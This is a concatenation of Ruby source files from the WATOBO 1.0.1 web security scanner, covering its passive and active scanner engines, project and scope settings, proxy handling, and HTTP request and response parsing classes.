used for finding tree :check_pattern => nil, # [String] regex of vulnerability check if possible, will be used for highlighting :proof_pattern => nil, # [String] regex of finding proof if possible, will be used for highlighting :threat => '', # threat of vulnerability, e.g. loss of information :measure => '', # measure :class => "undefined", # [String] vulnerability class, e.g. Stored XSS, SQL-Injection, ... :subclass => nil, # reserved :type => FINDING_TYPE_UNDEFINED, # FINDING_TYPE_HINT, FINDING_TYPE_INFO, FINDING_TYPE_VULN :chat => nil, # related chat must be linked :rating => VULN_RATING_UNDEFINED, # :cvss => "n/a", # CVSS Base Vector :icon => nil, # Icon Type :timestamp => nil # timestamp } end end end watobo-1.0.1/lib/watobo/core/passive_checks.rb000066400000000000000000000016341366346341400213320ustar00rootroot00000000000000# @private module Watobo#:nodoc: all class PassiveModules @checks = [] def self.each(&block) if block_given? @checks.map{|c| yield c } end end def self.to_a @checks end def self.length @checks.length end def self.init passive_modules = [] Dir["#{Watobo.passive_module_path}/*.rb"].each do |mod_file| begin mod = File.basename(mod_file) load mod_file rescue => bang puts "!!!" puts bang end end Watobo::Modules::Passive.constants.each do |m| begin class_constant = Watobo::Modules::Passive.const_get(m) pc = class_constant.new(self) print "." @checks << pc rescue => bang puts "!!!" puts bang end end passive_modules end end endwatobo-1.0.1/lib/watobo/core/passive_scanner.rb000077500000000000000000000022221366346341400215200ustar00rootroot00000000000000# @private module Watobo #:nodoc: all module PassiveScanner @queue = Queue.new @max_threads = 1 @scanners = [] class Engine def initialize @t = nil end def run @t = Thread.new { loop do if Watobo::PassiveScanner.queue.size > 0 chat = Watobo::PassiveScanner.pop # TODO: make max size configurable unless chat.nil? or chat.response.to_s.length > 500000 Watobo::PassiveModules.each do |test_module| begin test_module.do_test(chat) rescue => bang puts bang puts bang.backtrace #if $DEBUG #return false end end end else sleep 0.5 end end } end end def self.queue @queue end def self.pop return @queue.pop end def self.start #@max_threads.times do |i| e = Engine.new e.run #end end def self.add(chat) @queue.push chat end end endwatobo-1.0.1/lib/watobo/core/plugin.rb000066400000000000000000000002421366346341400176300ustar00rootroot00000000000000# @private module Watobo#:nodoc: all module Plugin def self.each constants.each do |c| yield c if block_given? end end end end watobo-1.0.1/lib/watobo/core/project.rb000066400000000000000000000314061366346341400200060ustar00rootroot00000000000000# @private module Watobo#:nodoc: all class Project attr :chats attr_accessor :findings attr :scan_settings attr :forward_proxy_settings attr :date attr :project_name attr :session_name #attr :session_store attr_accessor :settings attr :active_checks attr :passive_checks attr_accessor :plugins attr_accessor :excluded_chats attr :target_filter def subscribe(event, &callback) (@event_dispatcher_listeners[event] ||= []) << callback end def notify(event, *args) if @event_dispatcher_listeners[event] @event_dispatcher_listeners[event].each do |m| m.call(*args) if m.respond_to? :call end end end def sessionSettingsFile @session_file end def projectSettingsFile @project_file end def session_settings() s = YAML.load(YAML.dump(scan_settings)) sf = [:logout_signatures, :non_unique_parms, :login_chat_ids, :excluded_chats, :csrf_request_ids, :scope ] s.each_key do |k| s.delete k unless sf.include? k end s end def getLoginChats() @scan_settings[:login_chat_ids] ||= [] login_chats = [] @scan_settings[:login_chat_ids].each do |cid| chat = Watobo::Chats.get_by_id(cid) login_chats.push chat if chat end login_chats end def getWwwAuthentication() @scan_settings[:www_auth] end def getLoginChatIds() #p @settings[:login_chat_ids] # p @settings.to_yaml @scan_settings[:login_chat_ids] ||= [] @scan_settings[:login_chat_ids] end def setLoginChatIds(ids) @scan_settings[:login_chat_ids] = ids if ids.is_a? Array end def getSidPatterns @scan_settings[:sid_patterns] end def setProxyOptions(proxy_prefs) @forward_proxy_settings = proxy_prefs @sessionController.addProxy(getCurrentProxy()) end # gives the currently selected proxy # format : def getCurrentProxy() c_proxy = nil begin name = @forward_proxy_settings[:default_proxy] cproxy = @forward_proxy_settings[name] return cproxy rescue puts "! no proxy settings available" end return nil end def getLogoutSignatures @scan_settings[:logout_signatures] end def getCSRFPatterns @scan_settings[:csrf_patterns] end # setCSRFRequest # =Parameters # request: test request which requires csrf handling # ids: csrf request ids of current conversation # patterns: csrf patterns for identifiying and updating tokens def setCSRFRequest(request, ids, patterns=[]) puts "* setting CSRF Request" # puts request.class # puts request urh = uniqueRequestHash(request) @scan_settings[:csrf_request_ids][urh] = ids @scan_settings[:csrf_patterns].concat patterns unless patterns.empty? @scan_settings[:csrf_patterns].uniq! notify(:settings_changed) end def getCSRFRequestIDs(request) urh = request.uniq_hash Watobo::Conf::Scanner.csrf_request_ids ||= {} Watobo::Conf::Scanner.csrf_request_ids = {} if Watobo::Conf::Scanner.csrf_request_ids.is_a? Array ids = Watobo::Conf::Scanner.csrf_request_ids[urh] # puts "* found csrf req ids #{ids}" ids = [] if ids.nil? ids end def setLogoutSignatures(ls) @scan_settings[:logout_signatures] = ls if ls.is_a? Array end # Helper function to get all necessary preferences for starting a scan. def getScanPreferences() settings = { :smart_scan => @scan_settings[:smart_scan], :non_unique_parms => @scan_settings[:non_unique_parms], :excluded_parms => @scan_settings[:excluded_parms], :sid_patterns => @scan_settings[:sid_patterns], :csrf_patterns => @scan_settings[:csrf_patterns], :run_passive_checks => false, :login_chat_ids => [], :proxy => getCurrentProxy(), :login_chats => getLoginChats(), :max_parallel_checks => @scan_settings[:max_parallel_checks], :logout_signatures => @scan_settings[:logout_signatures], :custom_error_patterns => @scan_settings[:custom_error_patterns], :scan_session => self.object_id, :www_auth => @scan_settings[:www_auth].nil? ? Hash.new : @scan_settings[:www_auth], :client_certificates => @scan_settings[:client_certificates], :session_store => @session_store } return settings end # returns a project/session specific ID needed for synchronising Sessions def getSessionID() sid = @settings[:project_name] + @settings[:session_name] return sid end def getClientCertificates() client_certs = @scan_settings[:client_certificates] end def setClientCertificates(certs) @scan_settings[:client_certificates] = certs end def add_client_certificate(client_cert={}) return false unless client_cert.is_a? Hash [ :site, :certificate_file, :key_file].each do |p| return false unless client_cert.has_key? p end cs = @scan_settings[:client_certificates] site = client_cert[:site] if cs.has_key? site cs[site][certificate] = nil cs[site][key] = nil end end def client_certificates=(certs) @scan_settings[:client_certificates] = certs cs = @scan_settings[:client_certificates] cs.each_key do |site| unless cs[site].has_key? :ssl_client_cert crt_file = cs[site][:certificate_file] if File.exist?(crt_file) puts "* loading certificate #{crt_file}" if $DEBUG cs[site][:ssl_client_cert] = OpenSSL::X509::Certificate.new(File.read(crt_file)) end end unless cs[site].has_key? :ssl_client_key key_file = cs[site][:key_file] if File.exist?(key_file) puts "* loading private key #{key_file}" if $DEBUG password = cs[site][:password].empty? ? nil : cs[site][:password] cs[site][:ssl_client_key] = OpenSSL::PKey::RSA.new(File.read(key_file), password) end end end end def getScanPolicy() @settings[:policy] end def uniqueRequestHash(request) begin extend_request(request) unless request.respond_to? :site hashbase = request.site + request.method + request.path request.get_parm_names.sort.each do |p| # puts "URL-Parm: #{p}" if @scan_settings[:non_unique_parms].include?(p) then hashbase += p + request.get_parm_value(p) else hashbase += p end end request.post_parm_names.sort.each do |p| # puts "POST-Parm: #{p}" if @scan_settings[:non_unique_parms].include?(p) then hashbase += p + request.post_parm_value(p) else hashbase += p end end # puts hashbase return Digest::MD5.hexdigest(hashbase) rescue => bang puts bang puts bang.backtrace if $DEBUG return nil end end def updateSettings(new_settings) # new_settings.keys.each do |k| # @settings[k] = new_settings[k] # end @scan_settings.update new_settings end def projectName @settings[:project_name] end def sessionName @settings[:session_name] end def interceptPort @settings[:project_name] end def runLogin @sessionMgr.runLogin(loginChats) end def has_scope?() return false if @scan_settings[:scope].empty? @scan_settings[:scope].each_key do |k| return true if @scan_settings[:scope][k][:enabled] == true end return false end def scope @scan_settings[:scope] end def scope=(scope) @scan_settings[:scope] = scope end def setScope(scope) @scan_settings[:scope] = scope end def setWwwAuthentication(www_auth) @scan_settings[:www_auth] = www_auth end def setCSRFPatterns(patterns) @scan_settings[:csrf_patterns] = patterns end def add_login_chat_id(id) @scan_settings[:login_chat_ids] ||= [] @scan_settings[:login_chat_ids].push id end def addToScope(site) return false if !@scan_settings[:scope][site].nil? scope_details = { :site => site, :enabled => true, :root_path => '', :excluded_paths => [], } @scan_settings[:scope][site] = scope_details return true end def setupProject(progress_window=nil) begin puts "DEBUG: Setup Project" if $DEBUG and $debug_project importSession() puts "* initialize egress handlers ..." Watobo::EgressHandlers.init rescue => bang puts bang puts bang.backtrace if $DEBUG end end # returns all chats which are in the target scope def chatsInScope_UNUSED(chats=nil, scope=nil) scan_prefs = @scan_settings unique_list = Hash.new chatlist = chats.nil? ? @chats : chats new_scope = scope.nil? ? scan_prefs[:scope] : scope # puts new_scope.to_yaml cis = [] chat_in_scope = nil chatlist.each do |chat| next if scan_prefs[:excluded_chats].include?(chat.id) uch = uniqueRequestHash(chat.request) next if unique_list.has_key?(uch) and scan_prefs[:smart_scan] == true unique_list[uch] = nil chat_in_scope = chat # filter by targets first new_scope.each do |s, c_scope| chat_in_scope = nil if chat.request.site == c_scope[:site] then chat_in_scope = chat if chat_in_scope and c_scope[:root_path] != '' chat_in_scope = ( chat.request.path =~ /^(\/)?#{c_scope[:root_path]}/i ) ? chat : nil end if chat_in_scope and c_scope[:excluded_paths] and c_scope[:excluded_paths].length > 0 c_scope[:excluded_paths].each do |p| if ( chat.request.url.to_s =~ /#{p}/i ) chat_in_scope = nil break end end end end cis.push chat_in_scope unless chat_in_scope.nil? end end cis end def siteSSL?(site) @chats.each do |c| if c.request.site == site return true if c.request.proto =~ /https/ return false end end end # # INITIALIZE # # def initialize(project_settings) puts "DEBUG: Initializing Project" if $DEBUG @event_dispatcher_listeners = Hash.new @settings = {} @active_checks = [] # @passive_checks = [] @plugins = [] @chats = [] @findings = Hash.new @findings_lock = Mutex.new @chats_lock = Mutex.new # puts project_prefs.to_yaml #setDefaults() # reset counters Watobo::Chat.resetCounters Watobo::Finding.resetCounters # UPDATE SETTINGS @settings.update(project_settings) @scan_settings = Watobo::Conf::Scanner.dump @forward_proxy_settings = Watobo::Conf::ForwardingProxy.dump Watobo::ClientCertStore.load # raise ArgumentError, "No SessionStore Defined" unless @settings.has_key? :session_store # @session_store = @settings[:session_store] # @passive_checks = @settings[:passive_checks] if @settings.has_key? :passive_checks # @settings[:passive_checks].each do |pm| # pc = pm.new(self) # pc.subscribe(:new_finding){ |nf| addFinding(nf) } # @passive_checks << pc # end # @active_checks = @settings[:active_checks] #@settings[:active_checks].each do |am| # ac = am.new(self) # puts "subscribe to #{ac.class}" # ac.subscribe(:new_finding){ |nf| # puts "[subscribe] new_finding" # addFinding(nf) # } # @active_checks << ac #end @date = Time.now.to_i # @date_str = Time.at(@date).strftime("%m/%d/%Y@%H:%M:%S") @sessionController = Watobo::Session.new(self) @sessionController.addProxy(getCurrentProxy()) end private def importSession() num_chats = Watobo::DataStore.num_chats num_findings = Watobo::DataStore.num_findings num_imports = num_chats + num_findings notify(:update_progress, :progress => 0, :total => num_imports, :task => "Import Conversation") Watobo::DataStore.each_chat do |c| notify(:update_progress, :increment =>1, :job => "chat #{c.id}" ) Watobo::Chats.add(c, :run_passive_checks => false ) if c end notify(:update_progress, :task => "Import Findings") Watobo::DataStore.each_finding do |f| notify(:update_progress, :increment =>1, :job => "finding #{f.id}" ) Watobo::Findings.add(f, :notify => true ) if f end end end end # Watobo watobo-1.0.1/lib/watobo/core/proxy.rb000066400000000000000000000021661366346341400175220ustar00rootroot00000000000000# @private module Watobo#:nodoc: all class Proxy include Watobo::Constants attr :login def method_missing(name, *args, &block) # puts "* instance method missing (#{name})" if @settings.has_key? name.to_sym return @settings[name.to_sym] else super end end def to_yaml @settings.to_yaml end def has_login? # puts @settings.to_yaml return false if @settings[:auth_type] == AUTH_TYPE_NONE return true end def initialize(prefs) @login = nil raise ArgumentError, "Proxy needs host, port and name" unless prefs.has_key? :host raise ArgumentError, "Proxy needs host, port and name" unless prefs.has_key? :port raise ArgumentError, "Proxy needs host, port and name" unless prefs.has_key? :name @settings = { :auth_type => AUTH_TYPE_NONE, :username => '', :password => '', :domain => '', :workstation => ''} @settings.update prefs end end endwatobo-1.0.1/lib/watobo/core/request.rb000077500000000000000000000116521366346341400200340ustar00rootroot00000000000000# @private module Watobo #:nodoc: all def self.create_request(url, prefs = {}) raise "obsolete, use Watobo::Request.new(url) instead" # unless url =~ /^https?:\/\// # u = "http://#{url}" # else # u = url # end # uri = URI.parse u # r = "GET #{uri.to_s} HTTP/1.1\n" # r << "Host: #{uri.host}\n" # r << "User-Agent: WATOBO\n" # r << "Accept: */*\n" # r.extend Watobo::Mixins::RequestParser # r.to_request end class Request < Array attr :data attr :url attr :header # attr :cookies include Watobo::HTTP::Cookies::Mixin #include Watobo::HTTP::Xml::Mixin def self.create request request.extend Watobo::Mixin::Parser::Url request.extend Watobo::Mixin::Parser::Web10 request.extend Watobo::Mixin::Shaper::Web10 # request = Request.new(request) end def copy c = Watobo::Utils.copyObject self Watobo::Request.new c end def uniq_hash() begin settings = Watobo::Conf::Scanner.to_h return nil if site.nil? hashbase = site + method + path get_parm_names.sort.each do |p| hashbase << p hashbase << get_parm_value(p) if settings[:non_unique_parms].include?(p) end post_parm_names.sort.each do |p| hashbase << p hashbase << post_parm_value(p) if settings[:non_unique_parms].include?(p) end # puts hashbase return Digest::MD5.hexdigest(hashbase) rescue => bang puts bang puts bang.backtrace if $DEBUG return nil end end def clear_parameters(*locations) plocs = @valid_param_locations unless locations.empty? plocs = @valid_param_locations.select {|loc| locations.include? loc} end @url.clear if !@url.nil? and plocs.include?(:url) cookies.clear if !@cookies.nil? and plocs.include?(:cookies) @data.clear if !@data.nil? and plocs.include?(:wwwform) @json.clear if !@json.nil? and plocs.include?(:json) end def parameters(*locations, &block) plocs = @valid_param_locations unless locations.empty? plocs = @valid_param_locations.select {|loc| locations.include? loc} end parms = [] parms.concat @headers.parameters if plocs.include?(:headers) parms.concat @url.parameters if plocs.include?(:url) parms.concat cookies.parameters if plocs.include?(:cookies) parms.concat @data.parameters if !@data.nil? && plocs.include?(:wwwform) parms.concat @json.parameters if !@json.nil? && plocs.include?(:json) parms.concat @xml.parameters if !@xml.nil? && plocs.include?(:xml) if block_given? parms.each do |p| yield p end end parms end def set(parm) return false unless parm.respond_to?(:location) case parm.location when :data # # replace_post_parm(parm.name, parm.value) @data.set parm unless @data.nil? when :url @url.set parm unless @url.nil? when :xml @xml.set parm unless @xml.nil? when :cookie cookies.set parm when :json @json.set parm unless @json.nil? when :header @headers.set parm unless @headers.nil? end true end def to_s data = self.join unless has_body? data << "\r\n" unless data =~ /\r\n\r\n$/ end data end def initialize(r) # super @valid_param_locations = [:url, :data, :wwwform, :xml, :cookies, :json, :headers, :body] # Base Object behaves like an empty parameter set @data = @json = @url = @json = @xml = nil #Watobo::HTTPData::Base.new if r.respond_to? :push #puts "Create REQUEST from ARRAY" self.concat r elsif r.is_a? String if r =~ /^http/ uri = URI.parse r self << "GET #{uri.to_s} HTTP/1.1\r\n" self << "Host: #{uri.host}\r\n" else r.extend Watobo::Mixins::RequestParser self.concat r.to_request end end self.extend Watobo::Mixin::Parser::Url self.extend Watobo::Mixin::Parser::Web10 self.extend Watobo::Mixin::Shaper::Web10 self.extend Watobo::Mixin::Shaper::HttpResponse @url = Watobo::HTTP::Url.new(self) ct = content_type if ct =~ /\+zlib/ dec_body = Zlib.inflate body setData dec_body set_content_type content_type.gsub(/\+zlib/, '') fix_content_length end case self.content_type when /www-form/i @data = Watobo::HTTPData::WWW_Form.new(self) when /application\/json/i @json = Watobo::HTTPData::Json.new(self) when /\/xml/i @xml = Watobo::HTTPData::Xml.new(self) else #puts "UNKONWN CONTENT-TYPE" @data = Watobo::HTTPData::WWW_Form.new(self) end @cookies = Watobo::HTTP::Cookies.new(self) @headers = Watobo::HTTP::Headers.new(self) end end endwatobo-1.0.1/lib/watobo/core/response.rb000066400000000000000000000026341366346341400201770ustar00rootroot00000000000000# @private module Watobo#:nodoc: all class Response < Array def self.is_html? end def self.is_json? end def self.create( response ) raise ArgumentError, "Array Expected." unless response.is_a? Array response.extend Watobo::Mixin::Parser::Url response.extend Watobo::Mixin::Parser::Web10 response.extend Watobo::Mixin::Shaper::Web10 response.extend Watobo::Mixin::Shaper::HttpResponse end def to_s # crash #data = self.join # # empty content # data = self.map{|e| e.force_encoding('UTF-8')}.join data = self.map{|e| e.force_encoding('ASCII-8BIT')}.join unless has_body? data << "\r\n" unless data =~ /\r\n\r\n$/ end data end def data @data end def copy c = Watobo::Utils.copyObject self Watobo::Request.new c end def initialize(r) if r.respond_to? :concat #puts "Create REQUEST from ARRAY" self.concat r elsif r.is_a? String raise ArgumentError, "Need Array" end self.extend Watobo::Mixin::Parser::Url self.extend Watobo::Mixin::Parser::Web10 self.extend Watobo::Mixin::Shaper::Web10 self.extend Watobo::Mixin::Shaper::HttpResponse if content_type =~ /(html|text)/ self.extend Watobo::Parser::HTML end end end endwatobo-1.0.1/lib/watobo/core/scanner.rb000066400000000000000000000254761366346341400200030ustar00rootroot00000000000000# @private module Watobo#:nodoc: all class Scanner2 attr :numTotalChecks attr :numChecksPerModule attr :progress include Watobo::Constants def subscribe(event, &callback) (@event_dispatcher_listeners[event] ||= []) << callback end def clearEvents(event) @event_dispatcher_listener[event].clear end def notify(event, *args) if @event_dispatcher_listeners[event] @event_dispatcher_listeners[event].each do |m| m.call(*args) if m.respond_to? :call end end end def running?() return true if @status == :running return false end def stop(reason="undef") begin notify(:scanner_stopped, reason) @status = :stopped puts "* stopping #{@check_list.length} active checks" @check_list.each do |check| check.stop end rescue => bang puts bang puts bang.backtrace if $DEBUG end end def cancel(reason="undef") begin notify(:scanner_canceled, reason) # puts "* cancel active checks" unless @check_list.empty? @status = :canceled @check_list.each do |check| check.kill end #@active_checks.each do |mod| # mod.cancel() #end rescue => bang puts bang puts bang.backtrace if $DEBUG end end def siteAlive?(chat) #puts chat.class site = nil host = nil port = nil site = chat.request.site return @sites_online[site] if @sites_online.has_key?(site) if @prefs[:proxy].is_a? Hash Watobo.print_debug("Using Proxy","#{@prefs[:proxy].to_yaml}") if $DEBUG if @prefs[:proxy].has_key?(:name) and @prefs[:proxy].has_key?(:port) # unless @prefs[:proxy][:name] == '' then puts "* testing proxy:" puts "#{@prefs[:proxy][:name]} (#{@prefs[:proxy][:host]}:#{@prefs[:proxy][:port]})" # print "* using forwarding proxy #{@project.settings[:proxy]}\r\n" use_proxy = true host = @prefs[:proxy][:host] port = @prefs[:proxy][:port] end else print "* check if site is alive (#{site}) ... " host = chat.request.host port = chat.request.port end return false if host.nil? or port.nil? begin tcp_socket = nil # timeout(6) do tcp_socket = TCPSocket.new( host, port) tcp_socket.setsockopt( Socket::SOL_SOCKET, Socket::SO_KEEPALIVE, 1) tcp_socket.sync = true socket = tcp_socket if socket.class.to_s =~ /SSLSocket/ socket.io.shutdown(2) else socket.shutdown(2) end socket.close print "[OK]\n" @sites_online[site] = true return true rescue Errno::ECONNREFUSED p "* connection refused (#{host}:#{port})" rescue Errno::ECONNRESET puts "* connection reset" rescue Errno::EHOSTUNREACH p "* host unreachable (#{host}:#{port})" rescue Timeout::Error p "* TimeOut (#{host}:#{port})\n" rescue Errno::ETIMEDOUT p "* TimeOut (#{host}:#{port})" rescue Errno::ENOTCONN puts "!!!ENOTCONN" rescue OpenSSL::SSL::SSLError p "* ssl error" socket = nil # puts "!!! SSL-Error" print "E" rescue => bang # puts host # puts port puts bang puts bang.backtrace if $DEBUG end print "[FALSE]\n" @sites_online[site] = false return false # if @sites_online.has_key?(site) then # return @sites_online[site] ? true : false # end # if @onlineCheck.isOnline?(chat) then # puts "Site #{site} is online" # @sites_online[site] = true # return true # else # puts "Site #{site} is offline" # @sites_online[site] = false # return false # end end def continue() puts "!!! Scan Running !!!" @active_checks.each do |mod| mod.run() end @status_running = true end def run( check_prefs={} ) @status_running = true @sites_online.clear @uniqueRequests = Hash.new @status = :running @check_list = [] @login_count = 0 @max_login_count = 20 # counter for fired checks checks = 0 puts "= run scan =" if $DEBUG puts check_prefs.to_yaml if $DEBUG msg = "\n[Scanner] Starting Scan ..." notify(:logger, LOG_INFO, msg ) puts msg #scan_session = Time.now.to_i @active_checks.uniq.each do |mod| check = mod #check = mod.new(@prefs[:scan_session], @prefs ) if mod.respond_to? :new puts "* subscribe for logout" if $DEBUG check.subscribe(:logout) { |m| next if @login_count > @max_login_count or @prefs[:auto_login] == false if @login_mutex.try_lock begin m.waitLogin(true) Watobo.print_debug("LOGOUT DETECTED") if $DEBUG @login_count += 1 m.runLogin(@prefs[:login_chats]) m.waitLogin(false) if m rescue => bang Watobo.print_debug("Could not relogin") if $DEBUG puts bang puts bang.backtrace if $DEBUG ensure end @login_mutex.unlock end } puts "* subscribe for :check_finished" if $DEBUG check.clearEvents(:check_finished) check.subscribe(:check_finished) do |m, request, response| # update progress @check_count ||= 0 @check_count += 1 puts "CheckCount: #{@check_count}" if $DEBUG notify( :progress, m ) unless @prefs[:scanlog_name].nil? chat = Chat.new(request, response, :id => 0, :chat_source => @prefs[:chat_source]) Watobo::DataStore.add_scan_log(chat, @prefs[:scanlog_name]) end end puts "* subscribe for :new_finding" if $DEBUG check.clearEvents(:new_finding) check.subscribe(:new_finding) do |f| # p "* NEW FINDING" # p f.details[:module] notify(:new_finding, f) end end tlist = [] @filtered_chat_list.uniq.each do |chat| # puts "CHAT --> #{chat.id}" @active_checks.uniq.each do |mod| # puts "MOD" print "---> #{mod.class}" # accept Class- and Check-Types check = mod # reset check counters and variables check.reset() if @prefs[:online_check] == false or siteAlive?(chat) then @check_list << Thread.new(check, chat, check_prefs){|m, c, p| begin m_name = m.class.to_s.gsub(/.*::/,'') notify(:module_started, m_name) m.run_checks(c,p) rescue => bang puts bang puts bang.backtrace end notify(:logger, LOG_INFO, "finished checks: #{m.class} on chat #{c.id}") notify(:module_finished, m) } end end end @check_list.each {|ct| ct.join } puts "*[#{self}] Scan Finished" end def initialize(chat_list=[], active_checks=[], passive_checks=[], prefs={}) # @project = project # needed for centralized session management @numTotalChecks = 0 @numChecksPerModule = Hash.new @chat_list = chat_list @active_checks = active_checks @passive_checks = passive_checks @login_in_progress = false @login_mutex = Mutex.new @login_cv = ConditionVariable.new @filtered_chats = [] # @thread_list = Hash.new @scan_pool = [] @scan_pool_mutex = Mutex.new @scan_pool_cv = ConditionVariable.new @check_list = [] @sites_online = Hash.new @event_dispatcher_listeners = Hash.new @status = :stopped # @onlineCheck = OnlineCheck.new(@project) msg = "Initializing Scanner ..." notify(:logger, LOG_INFO, msg) puts msg @prefs = { #:root_path => [], #:excluded_chats => [], :smart_scan => true, :excluded_parms => [], #:non_uniq_parms => [], :login_chat_ids => [], :auto_login => true, # :valid_sids => Hash.new, :sid_patterns => [], :run_passive_checks => false, :proxy => '', :scanlog_dir => '', :scan_session => Digest::MD5.hexdigest(Time.now.to_f.to_s), :check_online => true, :source => CHAT_SOURCE_UNDEF } @prefs.update prefs #puts "set up scanner" #puts @prefs[:login_chats] #puts @prefs[:logout_signatures] puts "= create scanner =" if $DEBUG puts @prefs.to_yaml if $DEBUG @filtered_chat_list = filteredChats(@chat_list, @prefs) puts "#ActiveModules: #{@active_checks.length}" @active_checks.uniq.each do |m| puts m.class check = m check = m.new(:dummy) if check.respond_to? :new check.resetCounters() # puts "* updating counters for module #{m.info[:check_name]}" # puts "* updating #{@chat_list.length} chats" @filtered_chat_list.each do |chat| print "." check.updateCounters(chat, @prefs) puts "* [#{chat.id}] CheckCounter: #{check.info[:check_name]} - #{check.numChecks}" if $DEBUG end @numTotalChecks += check.numChecks cn = check.info[:check_name] # puts "+ add check: #{cn}" notify(:logger, LOG_INFO, "add check #{cn}") @numChecksPerModule[cn] = check.numChecks end msg = "Scanner Ready!" notify(:logger, LOG_INFO, msg) puts msg end private # Function: filteredChats # It's primarily used to reduce the number of requests for the scan. # Returns [] of chats which fulfill the requirements. # Inputs: # - chats: list of chats[] # - prefs: :non_unique_parms=>[], :smart_scan=>true|false def filteredChats(chats, prefs = {}) check_ids = Hash.new fchats = [] hstring = '' if prefs[:smart_scan] == true then chats.each do |chat| ps = chat.request.parm_names.sort if prefs[:non_unique_parms] and prefs[:non_unique_parms].length > 0 then ps.map!{|p| if prefs[:non_unique_parms].include?(p) then p += chat.request.get_parm_value(p) end } end next if chat.request.site.nil? hstring = chat.request.site + chat.request.path + chat.request.file + ps.join rhash = Digest::MD5.hexdigest(hstring) next if check_ids.has_key?(rhash) # p hstring check_ids[rhash] = nil fchats.push chat end else fchats = chats end return fchats end end end watobo-1.0.1/lib/watobo/core/scanner3.rb000077500000000000000000000265201366346341400200600ustar00rootroot00000000000000# @private module Watobo #:nodoc: all class Scanner3 include Watobo::Constants include Watobo::Subscriber SCANNER_READY = 0x0000 SCANNER_RUNNING = 0x0001 SCANNER_FINISHED = 0x0002 GENERATION_STARTED = 0x0100 GENERATION_FINISHED = 0x0200 class Worker include Watobo::Constants include Watobo::Subscriber attr :engine STATE_IDLE = 0x00 STATE_RUNNING = 0x01 STATE_WAIT_FOR_LOGIN = 0x02 def state state = nil @state_mutex.synchronize do state = @state end state end def run @state_mutex.synchronize do @state = STATE_RUNNING; end Thread.new {@engine.run} end def start @engine = Thread.new(@prefs) {|prefs| relogin_count = 0 loop do Thread.current[:pos] = "wait for task" task = @tasks.deq begin # puts "RUNNING #{task[:module]}" print '*' request, response = task[:check].call() next if response.nil? unless prefs[:logout_signatures].empty? or prefs[:auto_login] == false logged_out = false prefs[:logout_signatures].each do |sig| logged_out = true if response.join =~ /#{sig}/ end if logged_out Thread.current[:pos] = "logged out" @state_mutex.synchronize do @state = STATE_WAIT_FOR_LOGIN; end @logged_out_queue.push self # stop current thread, will be waked-up by scanner Thread.stop relogin_count += 1 Thread.current[:pos] = "set state" @state_mutex.synchronize do @state = STATE_RUNNING; end unless relogin_count > 5 request, response = task[:check].call() end end end # TODO chat = Chat.new(request, response, :id => 0, :chat_source => prefs[:chat_source]) notify(:new_chat, chat) unless prefs[:scanlog_name].nil? or prefs[:scanlog_name].empty? Watobo::DataStore.add_scan_log(chat, prefs[:scanlog_name]) end rescue => bang puts "!!! #{task[:module]} !!!" puts bang puts bang.backtrace if $DEBUG ensure #puts "FINISHED #{task[:module]}" Thread.current[:pos] = "scan_finished" notify(:task_finished, task[:module]) end Thread.exit if relogin_count > 5 relogin_count = 0 end } end def stop @state_mutex.synchronize {@state = STATE_IDLE} begin return false if @engine.nil? if @engine.alive? puts "[#{self}] got stopped" Thread.kill @engine end @engine = nil rescue => bang puts "!!! could not stop worker !!!" puts bang puts bang.backtrace end end def wait_for_login? state = false @state_mutex.synchronize do state = (@state == STATE_WAIT_FOR_LOGIN) end state end def running? @state_mutex.synchronize do running = (@state == STATE_RUNNING) end running end def initialize(task_queue, logged_out_queue, prefs) @engine = nil @tasks = task_queue @logged_out_queue = logged_out_queue @prefs = {}.update prefs @relogin_count = 0 @state_mutex = Mutex.new @state = STATE_IDLE end end # # E N D O F W O R K E R def tasks @tasks end def status_running? (status & SCANNER_RUNNING) > 0 end def generation_finished? (status & GENERATION_FINISHED) > 0 end def finished? status == SCANNER_FINISHED end def running?() status == SCANNER_RUNNING end def stop() print "\n[#{self}] stopping ... " begin @workers.each do |w| w.stop end unless @ctrl_thread.nil? if @ctrl_thread.alive? puts "stop ctrl_thread" Thread.kill @ctrl_thread end end set_status SCANNER_FINISHED print "[OK]\n" rescue => bang print "[OUTCH]\n" puts bang puts bang.backtrace if $DEBUG end end alias :cancel :stop def progress @task_count_lock.synchronize do YAML.load(YAML.dump(@task_counter)) end end def sum_total sum = 0 @task_count_lock.synchronize do sum = @task_counter.values.inject(0) {|i, v| i + v[:total]} end sum end def sum_progress sum = 0 @task_count_lock.synchronize do sum = @task_counter.values.inject(0) {|i, v| i + v[:progress]} end sum end def run(check_prefs = {}) # @sites_online.clear @uniqueRequests = Hash.new set_status_running @login_count = 0 @max_login_count = 20 @ctrl_thread = Thread.new { size = -1 loop do if @tasks.num_waiting == @workers.length and @tasks.size == 0 and generation_finished? begin puts "[#{self}] seems scan is finished. stopping workers now ..." @workers.map {|w| #puts "[]#{self}] stopping worker #{w}" w.stop } notify(:state_changed, SCANNER_FINISHED) notify(:scanner_finished) @status = SCANNER_FINISHED # suizide! Thread.exit rescue => bang puts bang puts bang.backtrace end end if @logged_out.size == (@workers.length - @tasks.num_waiting) or @tasks.num_waiting == @workers.size @logged_out.clear #puts "!LOGOUT DETECTED!\n#{@logged_out.size} - #{@workers.length} - #{@tasks.num_waiting}\n\n" begin puts "Run login ..." login @workers.each do |wrkr| # puts "State: #{wrkr.state}" if wrkr.wait_for_login? wrkr.engine.run end end rescue => bang puts bang puts bang.backtrace end end sleep 1 end } @prefs.update check_prefs msg = "\n[Scanner] Starting Scan ..." # puts @prefs.to_yaml notify(:logger, LOG_INFO, msg) puts msg # starting workers before check generation start_workers(@prefs) @max_tasks = 1000 # start check generation in seperate thread # TIMING of request is controlled here via limitation of the generation thread # Thread.new { begin set_status GENERATION_STARTED @chat_list.uniq.each do |chat| # puts chat.request.url.to_s @active_checks.uniq.each do |ac| ac.reset() if site_alive?(chat) then ac.generateChecks(chat) {|check| while @tasks.size > @max_tasks sleep 1 end # TODO: make sleep configurable via "scanner settings" #sleep 0.3 task = {:module => ac, :check => check } @tasks.push task } end end end rescue => bang puts bang puts bang.backtrace if $DEBUG ensure set_status GENERATION_FINISHED end } end def initialize(chat_list = [], active_checks = [], passive_checks = [], prefs = {}) @chat_list = chat_list @active_checks = [] @passive_checks = passive_checks @tasks = Queue.new @logged_out = Queue.new @workers = [] @status_lock = Mutex.new @task_count_lock = Mutex.new @new_chat_notify = Mutex.new @task_counter = {} @ctrl_thread = nil # @onlineCheck = OnlineCheck.new(@project) msg = "Initializing Scanner ..." notify(:logger, LOG_INFO, msg) puts msg @prefs = Watobo::Conf::Scanner.to_h @prefs.update prefs 